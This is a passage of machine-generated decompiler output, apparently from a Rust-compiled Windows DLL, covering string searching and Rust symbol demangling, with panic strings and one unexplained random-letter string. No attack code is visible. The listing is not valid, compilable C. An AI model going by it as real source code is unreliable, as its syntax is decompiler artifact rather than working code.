							__eflags = _t716 - _v144;
							_t792 =  >  ? _t716 : _v144;
							_v124 =  >  ? _t716 : _v144;
							_t793 = _v160;
							_v128 = _t793 + _t716 - 1;
							_t991 = _t716;
							_v160 = _t793 + _t716;
							_t758 = _v156;
							_v164 = _t991;
							_v36 = _v80;
							_v120 = _v144 - 1;
							_v132 = _t991 - 1;
							_v136 = _t991 + _t1055;
							do {
								_t897 =  *((intOrPtr*)(_t1055 + _t896));
								__eflags = _t897 & 0x00000020;
								_t723 =  !=  ? 1 : 0xbadbad << _t897;
								_t1090 =  !=  ? 0 : 1 << _t897;
								_t724 = ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								_t1091 = ( !=  ? 0 : 1 << _t897) & _v112;
								_t1092 = ( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								__eflags = ( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								if((( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116) == 0) {
									_t1050 = _t998 + _v144;
									__eflags = _t1050;
									_t725 = _t1050;
									goto L25;
								} else {
									_t900 = _v124;
									_t1055 = _v160;
									_v140 = _t998;
									asm("o16 nop [cs:eax+eax]");
									while(1) {
										__eflags = _v164 - _t900;
										if(_v164 == _t900) {
											break;
										}
										__eflags = _v164 + _t998 - _t758;
										if(_v164 + _t998 >= _t758) {
											_t916 = _t758;
											_t904 = _v140 + _v164;
											__eflags = _t758 - _t904;
											_t902 =  >  ? _t758 : _t904;
											goto L229;
										} else {
											_t994 =  *_t1055 & 0x000000ff;
											_t1055 = _t1055 + 1;
											_t900 = _t900 - 1;
											__eflags = _t994 -  *((intOrPtr*)(_v136 + _t998));
											_t725 = _t998 + 1;
											_t998 = _t725;
											if(__eflags == 0) {
												continue;
											} else {
												goto L25;
											}
										}
										goto L498;
									}
									_t901 = _v132;
									__eflags = _t901 - _v144;
									if(_t901 >= _v144) {
										__eflags = _v164;
										_t998 = _v140;
										if(__eflags == 0) {
											goto L39;
										} else {
											_t902 = _v132;
											goto L234;
										}
									} else {
										_t1055 = _v128;
										_t1051 = _v164;
										_t902 = _t901 + _v140;
										__eflags = _t902;
										while(1) {
											_t998 = _t1051 - 1;
											__eflags = _t998;
											if(_t998 < 0) {
												break;
											}
											__eflags = _t902 - _t758;
											if(__eflags >= 0) {
												_t916 = _t758;
												_push(0x6e7ecf00);
												goto L235;
											} else {
												_t729 =  *_t1055 & 0x000000ff;
												_t1055 = _t1055 - 1;
												__eflags = _t729 -  *((intOrPtr*)(_v148 + _t902));
												_t758 = _v156;
												_t902 = _t902 - 1;
												if(__eflags == 0) {
													continue;
												} else {
													_t725 = _v140 + _v36;
													goto L25;
												}
											}
											goto L498;
										}
										_t998 = _v140;
										goto L39;
									}
								}
								goto L498;
								L25:
								_t1055 = _v148;
								_t998 = _t725;
								_t896 = _v120 + _t725;
								__eflags = _t896 - _t758;
							} while (_t896 < _t758);
						}
						goto L71;
					} else {
						_t905 = _v76;
						_t998 = _t905;
						_t906 = _t905 + _t713 - 1;
						if(_t906 >= _t989) {
							L71:
							_t916 = _v152;
							_v160 = _a4;
							goto L72;
						} else {
							_t797 = _v80;
							_v156 = _t989;
							_v140 = _v96;
							_v132 = _t797;
							_v136 = _v88;
							_v128 = _v144 - _t797;
							_v124 =  ~_v136;
							_v112 = _v92;
							_v116 = _v144 - 1;
							do {
								_t907 =  *((intOrPtr*)(_t1055 + _t906));
								_t758 = _t1055;
								_t745 =  !=  ? 1 : 0xbadbad << _t907;
								_t1095 =  !=  ? 0 : 1 << _t907;
								_t746 = ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								_t1096 = ( !=  ? 0 : 1 << _t907) & _v140;
								_t1097 = ( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								_t1137 = ( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								if((( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112) == 0) {
									_t998 = _t998 + _v144;
									__eflags = _t998;
									_v164 = 0;
									goto L9;
								} else {
									_t995 = _t998;
									_t998 = _t998 + _t758;
									_t749 =  >  ? _v136 : _v164;
									_t910 = _t749;
									_v120 = _t749;
									_t1055 =  >  ? _t749 : _v144;
									while(_t1055 != _t910) {
										if(_t995 + _t910 >= _v156) {
											_t913 = _v120 + _t995;
											_t916 = _v156;
											__eflags = _t916 - _t913;
											_t902 =  >  ? _t916 : _t913;
											L229:
											_push(0x6e7ecee0);
											L235:
											E6E7C6CA0(_t758, _t902, _t916, _t998, _t1055, __eflags);
											_t1124 = _t1124 + 4;
											asm("ud2");
											L236:
											_t809 = _t916;
											_t917 = _v160;
											_push(0x6e7ec938);
											_push(_v160);
											_push(1);
											L242:
											E6E7C6F60(_t809, _t917);
											asm("ud2");
											_push(_t1100);
											_push(_t758);
											_push(_t998);
											_push(_t1055);
											_t1127 = _t1124 + 0xc - 0x50;
											_t918 = _v160;
											_t556 =  *_v164;
											__eflags =  *_t556 - 1;
											if( *_t556 != 1) {
												_v252 =  *((intOrPtr*)(_t556 + 4));
												_t557 =  *((intOrPtr*)(_t556 + 0xc));
												_v244 =  *((intOrPtr*)(_t556 + 8));
												_t812 = 0;
												_v232 = _t557;
												while(1) {
													L246:
													__eflags = _t812 - _t557;
													_v248 = _t812;
													if(_t812 == _t557) {
														break;
													}
													__eflags = _v244;
													if(__eflags == 0) {
														L473:
														E6E7C6E20(_t758, "called `Option::unwrap()` on a `None` value", 0x2b, _t998, _t1055, __eflags, 0x6e7ec7b0);
														_t1127 = _t1127 + 4;
														asm("ud2");
														L474:
														_t920 = 1;
														L475:
														_v224 = _t920;
														_t921 = 0x2b;
														E6E7C6EE0(_t758, "called `Result::unwrap()` on an `Err` value", 0x2b, __eflags,  &_v224, 0x6e7ec6e4, 0x6e7ec7e0);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L476:
														_t815 = _t998;
														_push(0x6e7ec7c0);
														L477:
														_push(_t921);
														_push(1);
														E6E7C6F60(_t815, _t921);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L478:
														E6E7C6F60(_t815, _v244, 0, _t758, 0x6e7ec7d0);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L479:
														_t920 = 0;
														goto L475;
													}
													_t998 = _v252;
													_t921 = _v244;
													_t565 = _v248 + 1;
													__eflags = _t565;
													_v228 = _t565;
													_v260 = _t998 + _t921;
													asm("o16 nop [cs:eax+eax]");
													while(1) {
														_t566 =  *_t998 & 0x000000ff;
														_t1058 = _t566 & 0x000000ff;
														__eflags = _t566;
														_v256 = _t566;
														if(_t566 < 0) {
														}
														L250:
														_t860 = _t998;
														_t1015 = _v260;
														_t1105 = 0;
														_t662 = _t921;
														__eflags = _t921 - 1;
														_t758 = _t1015;
														if(_t921 != 1) {
															_t758 = _t860 + 2;
															_t1105 =  *(_t860 + 1) & 0x3f;
															__eflags = _t1105;
														}
														_t1065 = _t1058 & 0x0000001f;
														__eflags = _v256 - 0xdf;
														if(_v256 <= 0xdf) {
															_t1066 = _t1065 << 6;
															goto L260;
														} else {
															__eflags = _t758 - _t1015;
															if(_t758 == _t1015) {
																_t758 = _t1015;
																_t1105 = _t1105 << 6;
																__eflags = _v256 - 0xf0;
																if(_v256 >= 0xf0) {
																	goto L255;
																} else {
																	goto L259;
																}
															} else {
																_t1017 =  *_t758 & 0x000000ff;
																_t758 = _t758 + 1;
																_t1105 = _t1105 << 0x00000006 | _t1017 & 0x0000003f;
																__eflags = _v256 - 0xf0;
																if(_v256 < 0xf0) {
																	L259:
																	_t1066 = _t1065 << 0xc;
																	__eflags = _t1066;
																	L260:
																	_t1058 = _t1066 | _t1105;
																	_t998 = _t860;
																	_t921 = _t662;
																} else {
																	L255:
																	__eflags = _t758 - _v260;
																	if(_t758 == _v260) {
																		_t758 = 0;
																		__eflags = 0;
																	} else {
																		_t758 =  *_t758 & 0x3f;
																	}
																	_t998 = _t860;
																	_t921 = _t662;
																	_t1109 = _t1105 << 0x00000006 | (_t1065 & 0x00000007) << 0x00000012 | _t758;
																	__eflags = _t1109 - 0x110000;
																	_t1055 = _t1109;
																	if(__eflags == 0) {
																		goto L473;
																	}
																	asm("o16 nop [cs:eax+eax]");
																}
															}
														}
														L264:
														_t1055 = _t1058 + 0xffffffd0;
														_t1103 = _t998 + 1;
														__eflags = _t1055 - 0xa;
														if(_t1055 < 0xa) {
															__eflags = _t921 - 2;
															if(__eflags < 0) {
																goto L473;
															}
															__eflags =  *_t1103 - 0xbf;
															if( *_t1103 <= 0xbf) {
																goto L476;
															}
															_t921 = _t921 - 1;
															_t998 = _t1103;
															_t566 =  *_t998 & 0x000000ff;
															_t1058 = _t566 & 0x000000ff;
															__eflags = _t566;
															_v256 = _t566;
															if(_t566 < 0) {
															}
															goto L264;
														}
														_v260 = _t921;
														_t758 = _v244 - _t921;
														__eflags = _t758;
														if(__eflags == 0) {
															goto L479;
														}
														_t815 = _v252;
														if(__eflags < 0) {
															goto L478;
														}
														__eflags =  *((char*)(_t815 + _t758)) - 0xc0;
														if( *((char*)(_t815 + _t758)) < 0xc0) {
															goto L478;
														}
														_t567 =  *_t815;
														_v264 = _t998;
														__eflags = _t567 - 0x2d;
														if(_t567 == 0x2d) {
															_t568 = _v252;
															__eflags = _t758 - 1;
															if(__eflags == 0) {
																goto L474;
															}
														} else {
															__eflags = _t567 - 0x2b;
															if(_t567 != 0x2b) {
																_t568 = _v252;
															} else {
																_t661 = _v252;
																_t758 = _t758 - 1;
																__eflags = _t758;
																if(__eflags == 0) {
																	goto L474;
																}
																_t568 = _t661 + 1;
															}
														}
														_t1059 = 0;
														asm("o16 nop [cs:eax+eax]");
														while(1) {
															__eflags = _t758;
															if(_t758 == 0) {
																break;
															}
															_t998 = ( *_t568 & 0x000000ff) + 0xffffffd0;
															__eflags = _t998 - 9;
															if(__eflags > 0) {
																goto L474;
															}
															_t859 = _t568;
															_t659 = _t1059 * 0xa;
															__eflags = _t659;
															_t920 = 2;
															if(__eflags < 0) {
																goto L475;
															}
															_t758 = _t758 - 1;
															_t568 =  &(_t859[1]);
															_t1059 = _t659 + _t998;
															__eflags = _t1059;
															if(__eflags >= 0) {
																continue;
															} else {
																goto L475;
															}
															goto L498;
														}
														__eflags = _t1059;
														if(_t1059 == 0) {
															_t762 = _v260;
															_v252 = _v264;
															_t570 = _v160;
															__eflags =  *_t570 & 0x00000004;
															if(( *_t570 & 0x00000004) != 0) {
																goto L294;
															} else {
																goto L320;
															}
														} else {
															_t758 = _v260;
															__eflags = _t758 - _t1059;
															if(__eflags <= 0) {
																if(__eflags != 0) {
																	goto L480;
																} else {
																	_t825 = _v264;
																	__eflags = _t758 - _t1059;
																	if(_t758 != _t1059) {
																		goto L481;
																	} else {
																		goto L293;
																	}
																}
															} else {
																_t657 = _v264;
																__eflags =  *((char*)(_t657 + _t1059)) - 0xbf;
																if( *((char*)(_t657 + _t1059)) <= 0xbf) {
																	L480:
																	_t820 = _v264;
																	_t924 = _t758;
																	_push(0x6e7ec7f0);
																	_push(_t758);
																	goto L488;
																} else {
																	_t825 = _v264;
																	__eflags =  *((char*)(_t825 + _t1059)) - 0xbf;
																	if( *((char*)(_t825 + _t1059)) > 0xbf) {
																		L293:
																		_v252 = _t825 + _t1059;
																		_t656 = _v160;
																		__eflags =  *_t656 & 0x00000004;
																		if(( *_t656 & 0x00000004) == 0) {
																			L320:
																			__eflags = _v248;
																			if(_v248 == 0) {
																				L322:
																				__eflags = _t1059 - 2;
																				if(_t1059 < 2) {
																					L324:
																					_t998 = _t1059;
																					goto L325;
																				} else {
																					__eflags = ( *_v264 & 0x0000ffff) - 0x245f;
																					if(( *_v264 & 0x0000ffff) == 0x245f) {
																						__eflags =  *_t1103 - 0xbf;
																						if( *_t1103 <= 0xbf) {
																							_t825 = _v264;
																							_t927 = _t1059;
																							_push(0x6e7ec814);
																							goto L484;
																						} else {
																							_t535 = _t1059 - 1; // -1
																							_t998 = _t535;
																							_v264 = _t1103;
																							L325:
																							_t758 = _t762 - _t1059;
																							__eflags = _t758;
																							_t1055 = _v264;
																							_v244 = _t758;
																							while(1) {
																								L326:
																								__eflags = _t998;
																								_v264 = _t1055;
																								if(_t998 == 0) {
																									break;
																								}
																								_t580 =  *_t1055;
																								__eflags = _t580 - 0x24;
																								if(_t580 == 0x24) {
																									__eflags = _t998 - 2;
																									if(_t998 < 2) {
																										L361:
																										_t1055 = _t1055 + 1;
																										_t449 = _t998 - 1; // -1
																										_t581 = _t449;
																										_t924 =  &_v224;
																										_v260 = _t998;
																										_v224 = _t1055;
																										_v220 = _t581;
																										_v216 = 0;
																										_v212 = _t581;
																										_v208 = 0x24;
																										_v204 = 1;
																										_v200 = 0x24;
																										E6E7A4AC0( &_v196,  &_v224);
																										__eflags = _v196 - 1;
																										if(_v196 != 1) {
																											L245:
																											_t574 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _v264, _v260);
																											_t1127 = _t1127 + 0xc;
																											__eflags = _t574;
																											_t557 = _v232;
																											_t812 = _v228;
																											if(_t574 != 0) {
																												goto L472;
																											} else {
																												goto L246;
																											}
																										} else {
																											_t820 = _v192;
																											__eflags = _t820 - 0xffffffff;
																											if(__eflags == 0) {
																												goto L489;
																											} else {
																												_t924 = _v260;
																												_t589 = _t820 + 1;
																												__eflags = _t924 - 2;
																												if(_t924 < 2) {
																													L365:
																													__eflags = _t589 - _t924;
																													_v256 = _t820;
																													if(__eflags >= 0) {
																														if(__eflags != 0) {
																															goto L482;
																														} else {
																															_t583 = _t820 + 2;
																															__eflags = _t583;
																															if(_t583 == 0) {
																																_v240 = _t924;
																																_v236 = _v264;
																																goto L408;
																															} else {
																																goto L381;
																															}
																														}
																													} else {
																														_t844 = _v264;
																														__eflags =  *((char*)(_t844 + _t589)) - 0xc0;
																														_t845 = _v256;
																														if( *((char*)(_t844 + _t589)) < 0xc0) {
																															goto L482;
																														} else {
																															_t583 = _t845 + 2;
																															L381:
																															_t1001 = _t924 - _t583;
																															__eflags = _t1001;
																															if(__eflags <= 0) {
																																_t820 = _v264;
																																if(__eflags != 0) {
																																	goto L490;
																																} else {
																																	goto L385;
																																}
																															} else {
																																_t820 = _v264;
																																__eflags =  *((char*)(_t820 + _t583)) - 0xbf;
																																if( *((char*)(_t820 + _t583)) > 0xbf) {
																																	L385:
																																	_t841 = _v256;
																																	_v236 = _t583 + _t820;
																																	__eflags = _t841 - 1;
																																	if(_t841 == 1) {
																																		_t842 =  *_t1055;
																																		_t617 = 0x6e7ec88c;
																																		__eflags = _t842 - 0x43;
																																		if(_t842 == 0x43) {
																																			goto L466;
																																		} else {
																																			__eflags = _t842 - 0x75;
																																			_v240 = _t1001;
																																			if(_t842 == 0x75) {
																																				goto L410;
																																			} else {
																																				goto L245;
																																			}
																																		}
																																	} else {
																																		__eflags = _t841 - 2;
																																		if(_t841 == 2) {
																																			__eflags = ( *_t1055 & 0x0000ffff) - 0x5053;
																																			if(( *_t1055 & 0x0000ffff) == 0x5053) {
																																				_t617 = "@*&<>()C,";
																																				goto L466;
																																			} else {
																																				__eflags = ( *_t1055 & 0x0000ffff) - 0x5042;
																																				if(( *_t1055 & 0x0000ffff) == 0x5042) {
																																					_t617 = "*&<>()C,";
																																					goto L466;
																																				} else {
																																					__eflags = ( *_t1055 & 0x0000ffff) - 0x4652;
																																					if(( *_t1055 & 0x0000ffff) == 0x4652) {
																																						_t617 =  &M6E7EC886;
																																						goto L466;
																																					} else {
																																						__eflags = ( *_t1055 & 0x0000ffff) - 0x544c;
																																						if(( *_t1055 & 0x0000ffff) == 0x544c) {
																																							_t617 = "<>()C,";
																																							goto L466;
																																						} else {
																																							__eflags = ( *_t1055 & 0x0000ffff) - 0x5447;
																																							if(( *_t1055 & 0x0000ffff) == 0x5447) {
																																								_t617 = 0x6e7ec888;
																																								goto L466;
																																							} else {
																																								__eflags = ( *_t1055 & 0x0000ffff) - 0x504c;
																																								if(( *_t1055 & 0x0000ffff) == 0x504c) {
																																									_t617 = 0x6e7ec889;
																																									goto L466;
																																								} else {
																																									__eflags = ( *_t1055 & 0x0000ffff) - 0x5052;
																																									if(( *_t1055 & 0x0000ffff) == 0x5052) {
																																										_t617 = 0x6e7ec88a;
																																										L466:
																																										_t618 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _t617, 1);
																																										_t1127 = _t1127 + 0xc;
																																										__eflags = _t618;
																																										_t603 = _v236;
																																										if(_t618 != 0) {
																																											goto L472;
																																										} else {
																																											goto L467;
																																										}
																																									} else {
																																										_v240 = _t1001;
																																										goto L408;
																																									}
																																								}
																																							}
																																						}
																																					}
																																				}
																																			}
																																		} else {
																																			__eflags = _t841;
																																			_v240 = _t1001;
																																			if(_t841 != 0) {
																																				L408:
																																				__eflags =  *_t1055 - 0x75;
																																				if( *_t1055 != 0x75) {
																																					goto L245;
																																				} else {
																																					_t596 = _v264;
																																					__eflags =  *((char*)(_t596 + 2)) - 0xbf;
																																					if( *((char*)(_t596 + 2)) <= 0xbf) {
																																						_t921 = _v256;
																																						_t815 = _t1055;
																																						_push(0x6e7ec890);
																																						goto L477;
																																					}
																																					L410:
																																					_t597 = _v264;
																																					_t929 = _v256;
																																					_t826 = _t597 + 2;
																																					_t1055 = _t929 - 1;
																																					_t930 = _t597 + _t929 + 1;
																																					_t1112 = _t826;
																																					_v248 = _t930;
																																					while(1) {
																																						__eflags = _t1112 - _t930;
																																						if(_t1112 == _t930) {
																																							break;
																																						}
																																						_t764 =  *_t1112 & 0x000000ff;
																																						_t502 =  &_v3; // 0xc0
																																						_t606 = _t502;
																																						_t1003 = _t764 & 0x000000ff;
																																						__eflags = _t764;
																																						if(_t764 < 0) {
																																							__eflags = _t606 - _t930;
																																							if(_t606 == _t930) {
																																								_t607 = 0;
																																								_t1112 = _t930;
																																								_t1004 = _t1003 & 0x0000001f;
																																								__eflags = _t764 - 0xdf;
																																								if(_t764 > 0xdf) {
																																									goto L416;
																																								} else {
																																									goto L421;
																																								}
																																							} else {
																																								_t1112 =  &_v2;
																																								_t607 = _v3 & 0x3f;
																																								_t1004 = _t1003 & 0x0000001f;
																																								__eflags = _t764 - 0xdf;
																																								if(_t764 <= 0xdf) {
																																									L421:
																																									_t998 = _t1004 << 0x00000006 | _t607;
																																									goto L427;
																																								} else {
																																									L416:
																																									__eflags = _t1112 - _t930;
																																									if(_t1112 == _t930) {
																																										_t1112 = _t930;
																																										_t609 = _t607 << 6;
																																										__eflags = _t764 - 0xf0;
																																										if(_t764 >= 0xf0) {
																																											goto L418;
																																										} else {
																																											goto L423;
																																										}
																																									} else {
																																										_t943 =  *_t1112 & 0x000000ff;
																																										_t1112 =  &_v3;
																																										_t609 = _t607 << 0x00000006 | _t943 & 0x0000003f;
																																										__eflags = _t764 - 0xf0;
																																										if(_t764 < 0xf0) {
																																											L423:
																																											_t930 = _v248;
																																											_t998 = _t1004 << 0x0000000c | _t609;
																																											goto L427;
																																										} else {
																																											L418:
																																											_t930 = _v248;
																																											__eflags = _t1112 - _t930;
																																											if(_t1112 == _t930) {
																																												_t765 = 0;
																																												__eflags = 0;
																																												_t1112 = _t930;
																																											} else {
																																												_t766 =  *_t1112 & 0x000000ff;
																																												_t1112 =  &_v3;
																																												_t765 = _t766 & 0x0000003f;
																																											}
																																											_t612 = _t609 << 0x00000006 | (_t1004 & 0x00000007) << 0x00000012 | _t765;
																																											__eflags = _t612 - 0x110000;
																																											_t998 = _t612;
																																											if(_t612 == 0x110000) {
																																												break;
																																											} else {
																																												asm("o16 nop [cs:eax+eax]");
																																												goto L427;
																																											}
																																										}
																																									}
																																								}
																																							}
																																						} else {
																																							_t1112 = _t606;
																																							L427:
																																							_t506 = _t998 - 0x30; // -48
																																							__eflags = _t506 - 0xa;
																																							if(_t506 < 0xa) {
																																								continue;
																																							} else {
																																								_t998 = _t998 + 0xffffff9f;
																																								__eflags = _t998 - 6;
																																								if(_t998 < 6) {
																																									continue;
																																								} else {
																																									_t758 = 1;
																																									_t1113 = _v160;
																																									__eflags = _t1055;
																																									if(_t1055 != 0) {
																																										L432:
																																										_t598 =  *_t826;
																																										__eflags = _t598 - 0x2d;
																																										if(_t598 == 0x2d) {
																																											__eflags = _t1055 - 1;
																																											if(_t1055 == 1) {
																																												goto L245;
																																											} else {
																																												goto L437;
																																											}
																																										} else {
																																											__eflags = _t598 - 0x2b;
																																											if(_t598 != 0x2b) {
																																												L437:
																																												_t599 = 0;
																																												__eflags = 0;
																																												asm("o16 nop [cs:eax+eax]");
																																												while(1) {
																																													__eflags = _t1055;
																																													if(_t1055 == 0) {
																																														break;
																																													}
																																													_t935 =  *_t826 & 0x000000ff;
																																													_t998 = _t935 - 0x30;
																																													__eflags = _t998 - 0xa;
																																													if(_t998 < 0xa) {
																																														L441:
																																														_t604 = _t599 * 0x10;
																																														__eflags = _t604;
																																														if(_t604 < 0) {
																																															goto L245;
																																														} else {
																																															_t826 =  &(_t826[1]);
																																															_t1055 = _t1055 - 1;
																																															_t599 = _t604 + _t998;
																																															__eflags = _t599;
																																															if(_t599 >= 0) {
																																																continue;
																																															} else {
																																																goto L245;
																																															}
																																														}
																																													} else {
																																														_t941 =  <  ? 0xffffffff : (_t935 | 0x00000020) + 0xffffffffffffffa9;
																																														__eflags = _t941 - 0xf;
																																														_t998 = _t941;
																																														if(_t941 > 0xf) {
																																															goto L245;
																																														} else {
																																															goto L441;
																																														}
																																													}
																																													goto L498;
																																												}
																																												__eflags = (_t599 & 0xfffff800) - 0xd800;
																																												_t830 =  ==  ? 0x110000 : _t599;
																																												__eflags = _t599 - 0x110000;
																																												_t831 =  >=  ? 0x110000 :  ==  ? 0x110000 : _t599;
																																												__eflags = _t831 - 0x110000;
																																												_t758 = _t758 | _t599 & 0xffffff00 | _t831 == 0x00110000;
																																												__eflags = _t758;
																																												if(_t758 != 0) {
																																													goto L245;
																																												} else {
																																													__eflags = _t831 - 0x20;
																																													_v224 = _t831;
																																													if(_t831 < 0x20) {
																																														goto L245;
																																													} else {
																																														__eflags = _t831 + 0xffffff81 - 0x20;
																																														if(_t831 + 0xffffff81 <= 0x20) {
																																															goto L245;
																																														} else {
																																															_t602 = E6E7A3660( &_v224,  &_v224, _t1113);
																																															_t1127 = _t1127 + 8;
																																															__eflags = _t602;
																																															_t603 = _v236;
																																															_t998 = _v240;
																																															if(_t602 == 0) {
																																																goto L467;
																																															} else {
																																																goto L472;
																																															}
																																														}
																																													}
																																												}
																																											} else {
																																												_t509 =  &_v256;
																																												 *_t509 = _v256 + 0xfffffffe;
																																												__eflags =  *_t509;
																																												if( *_t509 == 0) {
																																													goto L245;
																																												} else {
																																													_t1055 = _v256;
																																													_t826 = _v264 + 3;
																																													goto L437;
																																												}
																																											}
																																										}
																																									} else {
																																										goto L245;
																																									}
																																								}
																																							}
																																						}
																																						goto L498;
																																					}
																																					_t758 = 0;
																																					_t1113 = _v160;
																																					__eflags = _t1055;
																																					if(_t1055 == 0) {
																																						goto L245;
																																					} else {
																																						goto L432;
																																					}
																																				}
																																			} else {
																																				goto L245;
																																			}
																																		}
																																	}
																																} else {
																																	goto L490;
																																}
																															}
																														}
																													}
																												} else {
																													__eflags =  *_t1055 - 0xc0;
																													if( *_t1055 < 0xc0) {
																														L482:
																														E6E7C6F60(_v264, _t924, 1, _t589, 0x6e7ec864);
																														_t1127 = _t1127 + 0xc;
																														asm("ud2");
																														goto L483;
																													} else {
																														goto L365;
																													}
																												}
																											}
																										}
																									} else {
																										__eflags =  *(_t1055 + 1) - 0xbf;
																										if( *(_t1055 + 1) <= 0xbf) {
																											_t821 = _t1055;
																											_t925 = _t998;
																											_push(0x6e7ec854);
																											goto L496;
																										} else {
																											goto L361;
																										}
																									}
																								} else {
																									__eflags = _t580 - 0x2e;
																									if(_t580 != 0x2e) {
																										break;
																									} else {
																										_t428 = _t1055 + 1; // 0x1
																										_t626 = _t428;
																										__eflags = _t998 - 2;
																										if(_t998 < 2) {
																											_t628 =  *((intOrPtr*)(_a24 + 0xc))(_a20, ".assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed", 1);
																											_t1127 = _t1127 + 0xc;
																											_t998 = 0;
																											__eflags = _t628;
																											_t603 = _t626;
																											if(_t628 == 0) {
																												goto L467;
																											} else {
																												goto L472;
																											}
																										} else {
																											_t932 =  *_t626;
																											__eflags = _t932 - 0xbf;
																											if(_t932 <= 0xbf) {
																												goto L491;
																											} else {
																												_t758 = _t626;
																												_t629 = _t932 & 0x000000ff;
																												__eflags = _t932;
																												if(_t932 < 0) {
																													_t1061 = _t1055 + _t998;
																													_t833 = 0;
																													_v260 = _t998;
																													__eflags = _t998 - 2;
																													_t1010 = _t1061;
																													if(_t998 != 2) {
																														_t487 = _v264 + 3; // 0x3
																														_t1010 = _t487;
																														_t833 =  *(_v264 + 2) & 0x3f;
																														__eflags = _t833;
																													}
																													_t630 = _t629 & 0x0000001f;
																													__eflags = _t932 - 0xdf;
																													if(_t932 <= 0xdf) {
																														_t631 = _t630 << 6;
																														goto L455;
																													} else {
																														__eflags = _t1010 - _t1061;
																														if(_t1010 == _t1061) {
																															_v256 = 0;
																															_t1011 = _t1061;
																															_t833 = (_t833 << 6) + _v256;
																															__eflags = _t932 - 0xf0;
																															if(_t932 >= 0xf0) {
																																goto L405;
																															} else {
																																goto L454;
																															}
																														} else {
																															_v248 = _t1061;
																															_t1011 =  &(_t1010[1]);
																															_v256 =  *_t1010 & 0x3f;
																															_t1061 = _v248;
																															_t833 = (_t833 << 6) + _v256;
																															__eflags = _t932 - 0xf0;
																															if(_t932 < 0xf0) {
																																L454:
																																_t631 = _t630 << 0xc;
																																__eflags = _t631;
																																L455:
																																_t1055 = _v264;
																																_t1001 = _v260;
																																__eflags = (_t631 | _t833) - 0x2e;
																																if((_t631 | _t833) == 0x2e) {
																																	goto L333;
																																} else {
																																	goto L456;
																																}
																															} else {
																																L405:
																																__eflags = _t1011 - _t1061;
																																if(_t1011 == _t1061) {
																																	_t933 = 0;
																																	__eflags = 0;
																																} else {
																																	_t933 =  *_t1011 & 0x3f;
																																}
																																_t1055 = _v264;
																																_t1001 = _v260;
																																__eflags = (_t833 << 0x00000006 | (_t630 & 0x00000007) << 0x00000012 | _t933) - 0x2e;
																																if((_t833 << 0x00000006 | (_t630 & 0x00000007) << 0x00000012 | _t933) == 0x2e) {
																																	goto L333;
																																} else {
																																	goto L456;
																																}
																															}
																														}
																													}
																												} else {
																													__eflags = _t629 - 0x2e;
																													if(_t629 != 0x2e) {
																														L456:
																														_t636 =  *((intOrPtr*)(_a24 + 0xc))(_a20, ".assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed", 1);
																														_t1127 = _t1127 + 0xc;
																														__eflags = _t636;
																														if(_t636 != 0) {
																															goto L472;
																														} else {
																															__eflags =  *_t758 - 0xbf;
																															if( *_t758 <= 0xbf) {
																																_t821 = _t1055;
																																_t925 = _t1001;
																																_push(0x6e7ec834);
																																goto L496;
																															} else {
																																_t998 = _t1001 - 1;
																																_t1055 = _t758;
																																continue;
																															}
																														}
																													} else {
																														L333:
																														_t634 =  *((intOrPtr*)(_a24 + 0xc))(_a20, 0x6e7ec810, 2);
																														_t1127 = _t1127 + 0xc;
																														__eflags = _t634;
																														if(_t634 != 0) {
																															goto L472;
																														} else {
																															_t432 = _t1055 + 2; // 0x2
																															_t603 = _t432;
																															__eflags = _t1001 - 3;
																															if(_t1001 < 3) {
																																L336:
																																_t998 = _t1001 + 0xfffffffe;
																																L467:
																																_t1055 = _t603;
																																continue;
																															} else {
																																__eflags =  *_t603 - 0xbf;
																																if( *_t603 <= 0xbf) {
																																	goto L497;
																																} else {
																																	goto L336;
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L498;
																							}
																							_t758 = _t1055 + _t998;
																							_t572 = 0;
																							__eflags = 0;
																							_t817 = _t1055;
																							_v260 = _t998;
																							_v256 = _t758;
																							while(1) {
																								__eflags = _t817 - _t758;
																								if(_t817 == _t758) {
																									goto L245;
																								}
																								_t1055 = _t572;
																								_t575 =  *_t817 & 0x000000ff;
																								_t436 = _t817 + 1; // 0x1
																								_t998 = _t436;
																								_t923 = _t575 & 0x000000ff;
																								__eflags = _t575;
																								if(_t575 >= 0) {
																									L353:
																									__eflags = _t923 - 0x24;
																									if(_t923 == 0x24) {
																										L355:
																										__eflags = _t1055;
																										if(_t1055 == 0) {
																											_t577 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _v264, 0);
																											_t1127 = _t1127 + 0xc;
																											_t1001 = _v260;
																											_t818 = 0;
																											__eflags = _t577;
																											if(_t577 == 0) {
																												goto L376;
																											} else {
																												goto L472;
																											}
																										} else {
																											_t1001 = _v260;
																											__eflags = _t1001 - _t1055;
																											if(__eflags <= 0) {
																												_t825 = _v264;
																												if(__eflags != 0) {
																													goto L485;
																												} else {
																													goto L371;
																												}
																											} else {
																												_t825 = _v264;
																												__eflags =  *((char*)(_t825 + _t1055)) - 0xbf;
																												if( *((char*)(_t825 + _t1055)) > 0xbf) {
																													L371:
																													_t642 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _t825, _t1055);
																													_t1127 = _t1127 + 0xc;
